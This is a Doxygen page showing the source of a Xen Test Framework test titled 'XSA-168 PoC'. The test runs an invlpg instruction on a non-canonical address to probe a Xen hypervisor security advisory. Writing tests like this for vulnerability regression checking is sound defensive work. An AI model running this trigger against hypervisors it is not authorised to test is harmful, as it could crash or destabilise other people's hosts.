Xen Test Framework
tests
xsa-168
main.c
Go to the documentation of this file.
1
32
#include <xtf.h>
33
34
const
char
test_title
[] =
"XSA-168 PoC"
;
35
36
void
test_main
(
void
)
37
{
43
asm
volatile
(
"1: invlpg (%0); 2:"
44
_ASM_EXTABLE
(1b, 2b)
45
::
"r"
(0x8000000000000000UL));
46
47
xtf_success
(
NULL
);
48
}
49
50
/*
51
* Local variables:
52
* mode: C
53
* c-file-style: "BSD"
54
* c-basic-offset: 4
55
* tab-width: 4
56
* indent-tabs-mode: nil
57
* End:
58
*/
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
_ASM_EXTABLE
#define _ASM_EXTABLE(fault, fixup)
Create an exception table entry.
Definition:
extable.h:50
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
NULL
#define NULL
Definition:
stddef.h:12
Generated by
1.9.4